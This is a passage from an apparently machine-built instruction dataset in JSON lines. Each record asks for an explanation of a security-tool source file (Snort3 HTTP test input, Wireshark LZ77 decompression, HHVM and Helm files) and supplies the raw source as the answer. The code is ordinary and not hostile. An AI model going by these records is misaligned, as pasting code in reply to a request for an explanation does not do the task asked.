}}\n{{- else }}\n{{- $name := default .Chart.Name .Values.nameOverride }}\n{{- if contains $name .Release.Name }}\n{{- .Release.Name | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{/*\nCreate chart name and version as used by the chart label.\n*/}}\n{{- define \"secrets.chart\" -}}\n{{- printf \"%s-%s\" .Chart.Name .Chart.Version | replace \"+\" \"_\" | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCommon labels\n*/}}\n{{- define \"secrets.labels\" -}}\nhelm.sh/chart: {{ include \"secrets.chart\" . }}\n{{ include \"secrets.selectorLabels\" . }}\n{{- if .Chart.AppVersion }}\napp.kubernetes.io/version: {{ .Chart.AppVersion | quote }}\n{{- end }}\napp.kubernetes.io/managed-by: {{ .Release.Service }}\n{{- end }}\n\n{{/*\nSelector labels\n*/}}\n{{- define \"secrets.selectorLabels\" -}}\napp.kubernetes.io/name: {{ include \"secrets.name\" . }}\napp.kubernetes.io/instance: {{ .Release.Name }}\n{{- end }}\n\n{{/*\nCreate the name of the service account to use\n*/}}\n{{- define \"secrets.serviceAccountName\" -}}\n{{- if .Values.serviceAccount.create }}\n{{- default (include \"secrets.fullname\" .) .Values.serviceAccount.name }}\n{{- else }}\n{{- default \"default\" .Values.serviceAccount.name }}\n{{- end }}\n{{- end }}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:46773"}} -{"instruction": "Explain the purpose and role of 'snort3/src/service_inspectors/http_inspect/http_test_input.cc' from the snort3 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//--------------------------------------------------------------------------\n// Copyright (C) 2014-2023 Cisco and/or its affiliates. All rights reserved.\n//\n// This program is free software; you can redistribute it and/or modify it\n// under the terms of the GNU General Public License Version 2 as published\n// by the Free Software Foundation. You may not use, modify or distribute\n// this program under any other version of the GNU General Public License.\n//\n// This program is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License along\n// with this program; if not, write to the Free Software Foundation, Inc.,\n// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//--------------------------------------------------------------------------\n// http_test_input.cc author Tom Peters \n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#ifdef REG_TEST\n\n#include \"http_test_input.h\"\n\n#include \"protocols/packet.h\"\n\n#include \"http_common.h\"\n#include \"http_enum.h\"\n#include \"http_module.h\"\n#include \"http_test_manager.h\"\n\nusing namespace HttpCommon;\nusing namespace HttpEnums;\n\nstatic unsigned convert_num_octets(const char buffer[], unsigned length)\n{\n unsigned amount = 0;\n for (unsigned k = 0; k < length; k++)\n {\n if ((buffer[k] >= '0') && (buffer[k] <= '9'))\n {\n amount = amount * 10 + (buffer[k] - '0');\n }\n }\n return amount;\n}\n\nstatic void parse_next_hex_half_byte(const char new_char, uint8_t& hex_val)\n{\n if ((new_char >= '0') && (new_char <= '9'))\n hex_val = hex_val * 16 + (new_char - '0');\n else if ((new_char >= 'a') && (new_char <= 'f'))\n hex_val = hex_val * 16 + 10 + (new_char - 'a');\n else if ((new_char >= 'A') && (new_char <= 'F'))\n hex_val = hex_val * 16 + 10 + (new_char - 'A');\n else\n assert(false);\n}\n\nstatic uint8_t get_hex_byte(const char buffer[])\n{\n unsigned offset = 0;\n assert(*buffer == '\\\\');\n offset++;\n assert((*(buffer + offset) == 'X') or (*(buffer + offset) == 'x'));\n offset++;\n uint8_t hex_val = 0;\n parse_next_hex_half_byte (*(buffer + offset++), hex_val);\n parse_next_hex_half_byte (*(buffer + offset++), hex_val);\n return hex_val;\n}\n\nstatic bool is_number(const char buffer[], const unsigned length)\n{\n for (unsigned k = 0; k < length; k++)\n {\n if (buffer[k] < '0' || buffer[k] > '9')\n return false;\n }\n return true;\n}\n\nHttpTestInput::HttpTestInput(const char* file_name)\n{\n if ((test_data_file = fopen(file_name, \"r\")) == nullptr)\n throw std::runtime_error(\"Cannot open test input file\");\n}\n\nHttpTestInput::~HttpTestInput()\n{\n fclose(test_data_file);\n}\n\nvoid HttpTestInput::reset()\n{\n flushed = false;\n last_source_id = SRC_CLIENT;\n just_flushed = false;\n tcp_closed = false;\n flush_octets = 0;\n need_break = false;\n reassembled_octets = 0;\n\n for (int k = 0; k <= 1; k++)\n {\n previous_offset[k] = 0;\n end_offset[k] = 0;\n if (include_file[k] != nullptr)\n {\n fclose(include_file[k]);\n include_file[k] = nullptr;\n }\n while (!segments[k].empty())\n {\n segments[k].pop();\n }\n }\n\n // Each test needs separate peg counts\n HttpModule::reset_peg_counts();\n}\n\n// Read from the test data file and present to StreamSplitter. In the process we may need to skip\n// comments, execute simple commands, and handle escape sequences. The best way to understand this\n// function is to read dev_notes.txt.\nvoid HttpTestInput::scan(uint8_t*& data, uint32_t& length, SourceId source_id, uint64_t seq_num)\n{\n if (seq_num != curr_seq_num)\n {\n assert(source_id == SRC_CLIENT);\n curr_seq_num = seq_num;\n reset();\n }\n\n // Don't proceed if we have previously flushed data not reassembled yet.\n // Piggyback on traffic moving in the correct direction.\n // Once a break is read we must wait for a new flow.\n else if (flushed || (source_id != last_source_id) || need_break)\n {\n length = 0;\n return;\n }\n\n if (just_flushed)\n {\n // StreamSplitter just flushed and it has all been sent by reassemble(). There may or may\n // not be leftover data from the last paragraph that was not flushed.\n just_flushed = false;\n data = msg_buf[last_source_id];\n assert(segments[last_source_id].empty());\n // compute the leftover data\n assert(flush_octets <= end_offset[last_source_id]);\n end_offset[last_source_id] = (end_offset[last_source_id] - flush_octets);\n previous_offset[last_source_id] = 0;\n if (end_offset[last_source_id] > 0)\n {\n // Must present unflushed leftovers to StreamSplitter again. If we don't take this\n // opportunity to left justify our data in the buffer we may \"walk\" to the right until\n // we run out of buffer space.\n memmove(msg_buf[last_source_id], msg_buf[last_source_id]+flush_octets,\n end_offset[last_source_id]);\n flush_octets = 0;\n length = end_offset[last_source_id];\n return;\n }\n // If we reach here then StreamSplitter has already flushed all data read so far\n flush_octets = 0;\n }\n else\n {\n // The data we gave StreamSplitter last time was not flushed\n const uint32_t last_seg_length =\n end_offset[last_source_id] - previous_offset[last_source_id];\n if (last_seg_length > 0)\n segments[last_source_id].push(last_seg_length);\n previous_offset[last_source_id] = end_offset[last_source_id];\n data = msg_buf[last_source_id] + previous_offset[last_source_id];\n }\n\n // Now we need to move forward by reading more data from the file\n int new_char;\n enum State { WAITING, COMMENT, COMMAND, PARAGRAPH, ESCAPE, HEXVAL, INSERT};\n State state = WAITING;\n bool ending = false;\n unsigned command_length = 0;\n const int max_command = 1000;\n char command_value[max_command];\n uint8_t hex_val = 0;\n int num_digits = 0;\n\n while ((new_char = getc(test_data_file)) != EOF)\n {\n switch (state)\n {\n case WAITING:\n if (new_char == '#')\n {\n state = COMMENT;\n }\n else if (new_char == '@')\n {\n state = COMMAND;\n command_length = 0;\n }\n else if (new_char == '\\\\')\n {\n state = ESCAPE;\n ending = false;\n }\n else if (new_char == '$')\n {\n state = INSERT;\n command_length = 0;\n }\n else if (new_char != '\\n')\n {\n state = PARAGRAPH;\n ending = false;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (uint8_t)new_char;\n }\n else if (ending)\n {\n // An insert command was not followed by regular paragraph data\n length = end_offset[last_source_id] - previous_offset[last_source_id];\n return;\n }\n break;\n case COMMENT:\n if (new_char == '\\n')\n {\n state = WAITING;\n }\n break;\n case COMMAND:\n if (new_char == '\\n')\n {\n state = WAITING;\n if ((command_length == strlen(\"request\")) && !memcmp(command_value, \"request\",\n strlen(\"request\")))\n {\n last_source_id = SRC_CLIENT;\n length = 0;\n return;\n }\n else if ((command_length == strlen(\"response\")) && !memcmp(command_value,\n \"response\", strlen(\"response\")))\n {\n last_source_id = SRC_SERVER;\n length = 0;\n return;\n }\n else if ((command_length == strlen(\"break\")) && !memcmp(command_value, \"break\",\n strlen(\"break\")))\n {\n reset();\n need_break = true;\n length = 0;\n return;\n }\n else if ((command_length == strlen(\"tcpclose\")) && !memcmp(command_value,\n \"tcpclose\", strlen(\"tcpclose\")))\n {\n tcp_closed = true;\n length = 0;\n return;\n }\n else if ((command_length > strlen(\"fileset\")) && !memcmp(command_value, \"fileset\",\n strlen(\"fileset\")))\n {\n // Designate a file of data to be loaded into the message buffer\n char include_file_name[max_command];\n int offset = strlen(\"fileset\");\n for (; command_value[offset] == ' '; offset++);\n unsigned k;\n for (k=0; k < command_length - offset; k++)\n {\n include_file_name[k] = command_value[k+offset];\n }\n include_file_name[k] = '\\0';\n if (include_file[last_source_id] != nullptr)\n fclose(include_file[last_source_id]);\n if ((include_file[last_source_id] = fopen(include_file_name, \"r\")) == nullptr)\n throw std::runtime_error(\"Cannot open test file to be included\");\n }\n else if ((command_length > strlen(\"fileskip\")) && !memcmp(command_value,\n \"fileskip\", strlen(\"fileskip\")))\n {\n // Skip the specified number of octets from the included file\n const unsigned amount = convert_num_octets(command_value + strlen(\"fileskip\"),\n command_length - strlen(\"fileskip\"));\n assert(amount > 0);\n for (unsigned k=0; k < amount; k++)\n {\n getc(include_file[last_source_id]);\n }\n }\n else if (command_length > 0)\n {\n // Look for a test number\n if (is_number(command_value, command_length))\n {\n int64_t test_number = 0;\n for (unsigned j=0; j < command_length; j++)\n {\n test_number = test_number * 10 + (command_value[j] - '0');\n }\n HttpTestManager::update_test_number(test_number);\n }\n else\n {\n // Bad command in test file\n assert(false);\n }\n }\n }\n else\n {\n if (command_length < max_command)\n {\n command_value[command_length++] = new_char;\n }\n else\n {\n assert(false);\n }\n }\n break;\n case INSERT:\n if (new_char == '\\n')\n {\n state = WAITING;\n ending = true;\n if ((command_length > strlen(\"fill\")) && !memcmp(command_value, \"fill\",\n strlen(\"fill\")))\n {\n const unsigned amount = convert_num_octets(command_value + strlen(\"fill\"),\n command_length - strlen(\"fill\"));\n assert((amount > 0) && (amount <= MAX_OCTETS and\n (amount < sizeof(msg_buf[last_source_id]) - end_offset[last_source_id])));\n for (unsigned k = 0; k < amount; k++)\n {\n // auto-fill ABCDEFGHIJABCD ...\n msg_buf[last_source_id][end_offset[last_source_id]++] = 'A' + k%10;\n }\n }\n else if ((command_length > strlen(\"fileread\")) && !memcmp(command_value,\n \"fileread\", strlen(\"fileread\")))\n {\n // Read the specified number of octets from the included file into the message\n // buffer and return the resulting segment\n const unsigned amount = convert_num_octets(command_value + strlen(\"fileread\"),\n command_length - strlen(\"fileread\"));\n assert((amount > 0) && (amount <= MAX_OCTETS and\n (amount < sizeof(msg_buf[last_source_id]) - end_offset[last_source_id])));\n for (unsigned k=0; k < amount; k++)\n {\n const int new_octet = getc(include_file[last_source_id]);\n assert(new_octet != EOF);\n msg_buf[last_source_id][end_offset[last_source_id]++] = new_octet;\n }\n }\n else if ((command_length > strlen(\"h2frameheader\")) && !memcmp(command_value,\n \"h2frameheader\", strlen(\"h2frameheader\")))\n {\n generate_h2_frame_header(command_value, command_length);\n }\n else if ((command_length == strlen(\"h2preface\")) && !memcmp(command_value,\n \"h2preface\", strlen(\"h2preface\")))\n {\n char preface[] = \"PRI * HTTP/2.0\\r\\n\\r\\nSM\\r\\n\\r\\n\";\n memcpy(msg_buf[last_source_id] + end_offset[last_source_id], preface, sizeof(preface) - 1);\n end_offset[last_source_id] += sizeof(preface) - 1;\n }\n else\n {\n // Bad command in test file\n assert(false);\n }\n }\n else\n {\n if (command_length < max_command)\n {\n command_value[command_length++] = new_char;\n }\n else\n {\n assert(false);\n }\n }\n break;\n case PARAGRAPH:\n if (new_char == '\\\\')\n {\n state = ESCAPE;\n ending = false;\n }\n else if (new_char == '\\n')\n {\n if (!ending)\n {\n ending = true;\n }\n // Found the second consecutive blank line that ends the paragraph.\n else\n {\n length = end_offset[last_source_id] - previous_offset[last_source_id];\n return;\n }\n }\n else if (ending and new_char == '$')\n {\n // only look for insert commands at the start of a line\n state = INSERT;\n command_length = 0;\n ending = false;\n }\n else\n {\n ending = false;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (uint8_t)new_char;\n }\n break;\n case ESCAPE:\n switch (new_char)\n {\n case 'n':\n state = PARAGRAPH;\n msg_buf[last_source_id][end_offset[last_source_id]++] = '\\n';\n break;\n case 'r':\n state = PARAGRAPH;\n msg_buf[last_source_id][end_offset[last_source_id]++] = '\\r';\n break;\n case 't':\n state = PARAGRAPH;\n msg_buf[last_source_id][end_offset[last_source_id]++] = '\\t';\n break;\n case '#':\n case '@':\n case '$':\n case '\\\\':\n state = PARAGRAPH;\n msg_buf[last_source_id][end_offset[last_source_id]++] = new_char;\n break;\n case 'x':\n case 'X':\n state = HEXVAL;\n hex_val = 0;\n num_digits = 0;\n break;\n default:\n assert(false);\n state = PARAGRAPH;\n break;\n }\n break;\n case HEXVAL:\n parse_next_hex_half_byte(new_char, hex_val);\n if (++num_digits == 2)\n {\n msg_buf[last_source_id][end_offset[last_source_id]++] = hex_val;\n state = PARAGRAPH;\n }\n break;\n }\n // Don't allow a buffer overrun.\n assert(end_offset[last_source_id] < sizeof(msg_buf[last_source_id]));\n }\n // End-of-file. Return everything we have so far.\n length = end_offset[last_source_id] - previous_offset[last_source_id];\n}\n\nvoid HttpTestInput::flush(uint32_t num_octets)\n{\n if ((num_octets > 0) || (segments[last_source_id].size() == 0))\n {\n segments[last_source_id].push(num_octets);\n }\n\n flush_octets = previous_offset[last_source_id] + num_octets;\n reassembled_octets = 0;\n assert(flush_octets <= end_offset[last_source_id]);\n assert(flush_octets <= MAX_OCTETS);\n flushed = true;\n}\n\nvoid HttpTestInput::reassemble(uint8_t** buffer, unsigned& length, unsigned& total,\n unsigned& offset, uint32_t& flags, SourceId source_id, bool& tcp_close)\n{\n *buffer = nullptr;\n tcp_close = false;\n\n // Only piggyback on data moving in the same direction.\n if (source_id != last_source_id)\n return;\n\n if (tcp_closed)\n {\n // Give the caller a chance to call finish()\n tcp_close = true;\n return;\n }\n\n // Need flushed data\n if (!flushed)\n {\n return;\n }\n\n total = flush_octets;\n assert(!segments[last_source_id].empty());\n const uint32_t segment_length = segments[last_source_id].front();\n segments[last_source_id].pop();\n\n length = segment_length;\n offset = reassembled_octets;\n *buffer = msg_buf[last_source_id] + reassembled_octets;\n reassembled_octets += length;\n if (!segments[last_source_id].empty())\n {\n // Not the final TCP segment to be reassembled\n flags &= ~PKT_PDU_TAIL;\n }\n else\n {\n // Final segment split at flush point\n assert(total == reassembled_octets);\n just_flushed = true;\n flushed = false;\n }\n\n return;\n}\n\nstatic uint8_t parse_frame_type(const char buffer[], const unsigned bytes_remaining,\n unsigned& bytes_consumed)\n{\n uint8_t frame_type = 0;\n bytes_consumed = 0;\n for (; bytes_consumed < bytes_remaining and buffer[bytes_consumed] == ' '; bytes_consumed++);\n unsigned length = 0;\n for (; (bytes_consumed + length < bytes_remaining) and (buffer[bytes_consumed + length] != ' ');\n length++);\n\n static const char* frame_names[10] =\n { \"data\", \"headers\", \"priority\", \"rst_stream\", \"settings\", \"push_promise\", \"ping\", \"goaway\",\n \"window_update\", \"continuation\" };\n for (int i = 0; i < 10; i ++)\n {\n if (length == strlen(frame_names[i]) && !memcmp(buffer + bytes_consumed, frame_names[i],\n strlen(frame_names[i])))\n {\n frame_type = i;\n bytes_consumed += length;\n return frame_type;\n }\n }\n if (is_number(buffer + bytes_consumed, length))\n frame_type = convert_num_octets(buffer + bytes_consumed, length);\n else\n assert(false);\n\n bytes_consumed += length;\n return frame_type;\n}\n\n\n// Can be decimal or hex value. The hex value is represented as a series of 4-character hex bytes\n// The hex value must not be more than 24-bits\nstatic uint32_t get_frame_length(const char buffer[], const unsigned bytes_remaining,\n unsigned& bytes_consumed)\n{\n bytes_consumed = 0;\n uint32_t frame_length = 0;\n for (; bytes_consumed < bytes_remaining and buffer[bytes_consumed] == ' '; bytes_consumed++);\n unsigned length = 0;\n for (; (bytes_consumed + length < bytes_remaining) and (buffer[bytes_consumed + length] != ' ');\n length++);\n if (is_number(buffer + bytes_consumed, length))\n {\n frame_length = convert_num_octets(buffer + bytes_consumed, length);\n bytes_consumed += length;\n }\n else\n {\n assert(length >=3 and length <= 12 and length % 4 == 0);\n unsigned end = bytes_consumed + length;\n while (bytes_consumed < end)\n {\n frame_length <<= 8;\n frame_length += get_hex_byte(buffer + bytes_consumed);\n bytes_consumed += 4;\n }\n }\n return frame_length;\n}\n\n// Hex value represented as \\xnn -- always 4 characters long\nstatic uint8_t get_frame_flags(const char buffer[], const unsigned bytes_remaining,\n unsigned& bytes_consumed)\n{\n bytes_consumed = 0;\n for (; bytes_consumed < bytes_remaining and buffer[bytes_consumed] == ' '; bytes_consumed++);\n assert(bytes_remaining >= 4);\n uint8_t frame_flags = get_hex_byte(buffer + bytes_consumed);\n bytes_consumed += 4;\n return frame_flags;\n}\n\n// Check for optional stream_id in input. Default to stream 0 if not included\nstatic uint32_t get_frame_stream_id(const char buffer[], const int bytes_remaining)\n{\n int offset = 0;\n for (; offset < bytes_remaining and buffer[offset] == ' '; offset++);\n assert (bytes_remaining - offset >= 0);\n int length = 0;\n for (; (offset + length < bytes_remaining) and (buffer[offset + length] != ' '); length++);\n if (length > 0)\n {\n if (is_number(buffer + offset, length))\n return convert_num_octets(buffer + offset, length);\n else\n assert(false);\n }\n return 0;\n}\n\nvoid HttpTestInput::generate_h2_frame_header(const char command_value[], const unsigned command_length)\n{\n unsigned offset = strlen(\"h2frameheader\");\n unsigned bytes_consumed = 0;\n uint8_t frame_type = 0;\n uint8_t frame_flags = 0;\n uint32_t frame_length = 0;\n uint64_t stream_id = 0;\n\n // get the frame type\n frame_type = parse_frame_type(command_value + offset, command_length - offset, bytes_consumed);\n offset += bytes_consumed;\n\n frame_length = get_frame_length(command_value + offset, command_length - offset, bytes_consumed);\n offset += bytes_consumed;\n\n assert (offset < command_length);\n frame_flags = get_frame_flags(command_value + offset, command_length - offset, bytes_consumed);\n offset += bytes_consumed;\n\n stream_id = get_frame_stream_id(command_value + offset, command_length - offset);\n\n // write the frame header\n assert (!((frame_length >> (8*3)) & 0xFF));\n msg_buf[last_source_id][end_offset[last_source_id]++] = (frame_length >> 16) & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (frame_length >> 8) & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = frame_length & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = frame_type;\n msg_buf[last_source_id][end_offset[last_source_id]++] = frame_flags;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (stream_id >> 24) & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (stream_id >> 16) & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = (stream_id >> 8) & 0xFF;\n msg_buf[last_source_id][end_offset[last_source_id]++] = stream_id & 0xFF;\n}\n\nbool HttpTestInput::finish()\n{\n if (tcp_closed)\n {\n tcp_closed = false;\n return true;\n }\n return false;\n}\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:51901"}} -{"instruction": "Explain the purpose and role of 'wireshark/epan/tvbuff_lz77.c' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n * Decompression code for Plain LZ77. This encoding is used by\n * Microsoft in various file formats and protocols including SMB3.\n *\n * See MS-XCA.\n *\n * Copyright (C) 2019 Aurélien Aptel\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \n#include \n#include \n#include \n\n#define MAX_INPUT_SIZE (16*1024*1024) /* 16MB */\n\nstatic gboolean do_uncompress(tvbuff_t *tvb, int offset, int in_size,\n\t\t\t wmem_array_t *obuf)\n{\n\tguint buf_flags = 0, buf_flag_count = 0;\n\tint in_off = 0;\n\tint last_length_half_byte = 0;\n\tguint match_bytes, match_len, match_off;\n\tguint i;\n\n\tif (!tvb)\n\t\treturn FALSE;\n\n\tif (!in_size || in_size > MAX_INPUT_SIZE)\n\t\treturn FALSE;\n\n\twhile (1) {\n\t\tif (buf_flag_count == 0) {\n\t\t\tbuf_flags = tvb_get_letohl(tvb, offset+in_off);\n\t\t\tin_off += 4;\n\t\t\tbuf_flag_count = 32;\n\t\t}\n\t\tbuf_flag_count--;\n\t\tif ((buf_flags & (1u << buf_flag_count)) == 0) {\n\t\t\tguint8 v = tvb_get_guint8(tvb, offset+in_off);\n\t\t\twmem_array_append_one(obuf, v);\n\t\t\tin_off++;\n\t\t} else {\n\t\t\tif (in_off == in_size)\n\t\t\t\treturn TRUE;\n\t\t\tmatch_bytes = tvb_get_letohs(tvb, offset+in_off);\n\t\t\tin_off += 2;\n\t\t\tmatch_len = match_bytes % 8;\n\t\t\tmatch_off = (match_bytes/8) + 1;\n\t\t\tif (match_len == 7) {\n\t\t\t\tif (last_length_half_byte == 0) {\n\t\t\t\t\tmatch_len = tvb_get_guint8(tvb, offset+in_off);\n\t\t\t\t\tmatch_len = match_len % 16;\n\t\t\t\t\tlast_length_half_byte = in_off;\n\t\t\t\t\tin_off++;\n\t\t\t\t} else {\n\t\t\t\t\tmatch_len = tvb_get_guint8(tvb, offset+last_length_half_byte);\n\t\t\t\t\tmatch_len = match_len / 16;\n\t\t\t\t\tlast_length_half_byte = 0;\n\t\t\t\t}\n\t\t\t\tif (match_len == 15) {\n\t\t\t\t\tmatch_len = tvb_get_guint8(tvb, offset+in_off);\n\t\t\t\t\tin_off++;\n\t\t\t\t\tif (match_len == 255) {\n\t\t\t\t\t\tmatch_len = tvb_get_letohs(tvb, offset+in_off);\n\t\t\t\t\t\tin_off += 2;\n\t\t\t\t\t\tif (match_len == 0) {\n\t\t\t\t\t\t\t/* This case isn't documented */\n\t\t\t\t\t\t\tmatch_len = tvb_get_letohs(tvb, offset+in_off);\n\t\t\t\t\t\t\tin_off += 4;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (match_len < 15+7)\n\t\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t\tmatch_len -= (15 + 7);\n\t\t\t\t\t}\n\t\t\t\t\tmatch_len += 15;\n\t\t\t\t}\n\t\t\t\tmatch_len += 7;\n\t\t\t}\n\t\t\tmatch_len += 3;\n\t\t\tfor (i = 0; i < match_len; i++) {\n\t\t\t\tguint8 byte;\n\t\t\t\tif (match_off > wmem_array_get_count(obuf))\n\t\t\t\t\treturn FALSE;\n\t\t\t\tif (wmem_array_try_index(obuf, wmem_array_get_count(obuf)-match_off, &byte))\n\t\t\t\t\treturn FALSE;\n\t\t\t\twmem_array_append_one(obuf, byte);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\ntvbuff_t *\ntvb_uncompress_lz77(tvbuff_t *tvb, const int offset, int in_size)\n{\n\tvolatile gboolean ok = FALSE;\n\twmem_allocator_t *pool;\n\twmem_array_t *obuf;\n\ttvbuff_t *out;\n\n\tpool = wmem_allocator_new(WMEM_ALLOCATOR_SIMPLE);\n\tobuf = wmem_array_sized_new(pool, 1, in_size*2);\n\n\tTRY {\n ok = do_uncompress(tvb, offset, in_size, obuf);\n\t} CATCH_ALL {\n\t\tok = FALSE;\n\t}\n\tENDTRY;\n\n\tif (ok) {\n\t\t/*\n\t\t * Cannot pass a tvb free callback that frees the wmem\n\t\t * pool, so we make an extra copy that uses bare\n\t\t * pointers. This could be optimized if tvb API had a\n\t\t * free pool callback of some sort.\n\t\t */\n\t\tguint size = wmem_array_get_count(obuf);\n\t\tguint8 *p = (guint8 *)g_malloc(size);\n\t\tmemcpy(p, wmem_array_get_raw(obuf), size);\n\t\tout = tvb_new_real_data(p, size, size);\n\t\ttvb_set_free_cb(out, g_free);\n\t} else {\n\t\tout = NULL;\n\t}\n\n\twmem_destroy_allocator(pool);\n\n\treturn out;\n}\n\ntvbuff_t *\ntvb_child_uncompress_lz77(tvbuff_t *parent, tvbuff_t *tvb, const int offset, int in_size)\n{\n\ttvbuff_t *new_tvb = tvb_uncompress_lz77(tvb, offset, in_size);\n\tif (new_tvb)\n\t\ttvb_set_child_real_data_tvbuff(parent, new_tvb);\n\treturn new_tvb;\n}\n\n\n/*\n * Editor modelines - https://www.wireshark.org/tools/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n */", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:53842"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/ext_mysql/mysql_real_escape_string.php.skipif' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function skip(): void {\n require('require_env.inc');\n skip_if_not_configured();\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:21271"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/hackc/ir/conversions/ir_to_bc/class.rs' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the \"hack\" directory of this source tree.\n\nuse ffi::Maybe;\nuse ffi::Slice;\n\nuse crate::convert;\nuse crate::convert::UnitBuilder;\nuse crate::strings::StringCache;\nuse crate::types;\n\npub(crate) fn convert_class<'a>(\n alloc: &'a bumpalo::Bump,\n unit: &mut UnitBuilder<'a>,\n class: ir::Class<'a>,\n strings: &StringCache<'a>,\n) {\n let ir::Class {\n attributes,\n base,\n constants,\n ctx_constants,\n doc_comment,\n enum_type,\n enum_includes,\n flags,\n implements,\n methods,\n name,\n properties,\n requirements,\n src_loc,\n type_constants,\n upper_bounds,\n uses,\n } = class;\n\n let requirements: Slice<'a, hhbc::Requirement<'a>> = Slice::fill_iter(\n alloc,\n (requirements.iter()).map(|ir::class::Requirement { name, kind }| {\n let name = strings.lookup_class_name(*name);\n hhbc::Requirement { name, kind: *kind }\n }),\n );\n\n let ctx_constants = Slice::fill_iter(\n alloc,\n ctx_constants\n .iter()\n .map(|ctx| convert_ctx_constant(alloc, ctx)),\n );\n\n let enum_includes = Slice::fill_iter(\n alloc,\n enum_includes\n .into_iter()\n .map(|id| strings.lookup_class_name(id)),\n );\n\n let enum_type: Maybe<_> = enum_type\n .as_ref()\n .map(|et| types::convert(et, strings).unwrap())\n .into();\n\n let type_constants = Slice::fill_iter(\n alloc,\n type_constants\n .into_iter()\n .map(|tc| convert_type_constant(tc, strings)),\n );\n\n let upper_bounds = Slice::fill_iter(\n alloc,\n upper_bounds.iter().map(|(name, tys)| hhbc::UpperBound {\n name: *name,\n bounds: Slice::fill_iter(\n alloc,\n tys.iter().map(|ty| types::convert(ty, strings).unwrap()),\n ),\n }),\n );\n\n let base = base.map(|base| strings.lookup_class_name(base)).into();\n\n let implements = Slice::fill_iter(\n alloc,\n implements\n .iter()\n .map(|interface| strings.lookup_class_name(*interface)),\n );\n\n let name = strings.lookup_class_name(name);\n\n let uses = Slice::fill_iter(\n alloc,\n uses.into_iter().map(|use_| strings.lookup_class_name(use_)),\n );\n\n let methods = Slice::fill_iter(\n alloc,\n methods\n .into_iter()\n .map(|method| crate::func::convert_method(method, strings, &mut unit.adata_cache)),\n );\n\n let class = hhbc::Class {\n attributes: convert::convert_attributes(attributes, strings),\n base,\n constants: Slice::fill_iter(\n alloc,\n constants\n .into_iter()\n .map(|c| crate::constant::convert_hack_constant(c, strings)),\n ),\n ctx_constants,\n doc_comment: doc_comment.into(),\n enum_includes,\n enum_type,\n flags,\n implements,\n methods,\n name,\n properties: Slice::fill_iter(\n alloc,\n properties\n .into_iter()\n .map(|prop| convert_property(prop, strings)),\n ),\n requirements,\n span: src_loc.to_span(),\n type_constants,\n upper_bounds,\n uses,\n };\n unit.classes.push(class);\n}\n\nfn convert_property<'a>(src: ir::Property<'a>, strings: &StringCache<'a>) -> hhbc::Property<'a> {\n hhbc::Property {\n name: strings.lookup_prop_name(src.name),\n flags: src.flags,\n attributes: convert::convert_attributes(src.attributes, strings),\n visibility: src.visibility,\n initial_value: src\n .initial_value\n .map(|tv| convert::convert_typed_value(&tv, strings))\n .into(),\n type_info: types::convert(&src.type_info, strings).unwrap(),\n doc_comment: src.doc_comment,\n }\n}\n\nfn convert_ctx_constant<'a>(\n alloc: &'a bumpalo::Bump,\n ctx: &ir::CtxConstant<'a>,\n) -> hhbc::CtxConstant<'a> {\n hhbc::CtxConstant {\n name: ctx.name,\n recognized: Slice::fill_iter(alloc, ctx.recognized.iter().cloned()),\n unrecognized: Slice::fill_iter(alloc, ctx.unrecognized.iter().cloned()),\n is_abstract: ctx.is_abstract,\n }\n}\n\nfn convert_type_constant<'a>(\n tc: ir::TypeConstant<'a>,\n strings: &StringCache<'a>,\n) -> hhbc::TypeConstant<'a> {\n hhbc::TypeConstant {\n name: tc.name,\n initializer: tc\n .initializer\n .map(|init| convert::convert_typed_value(&init, strings))\n .into(),\n is_abstract: tc.is_abstract,\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:3617"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/lambda/variadics/inferred_variadic_type.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " {\n $x = $y[0];\n if ($x is C) {\n return $x->foo();\n }\n if ($x is int) {\n return $x;\n }\n return 0;\n },\n 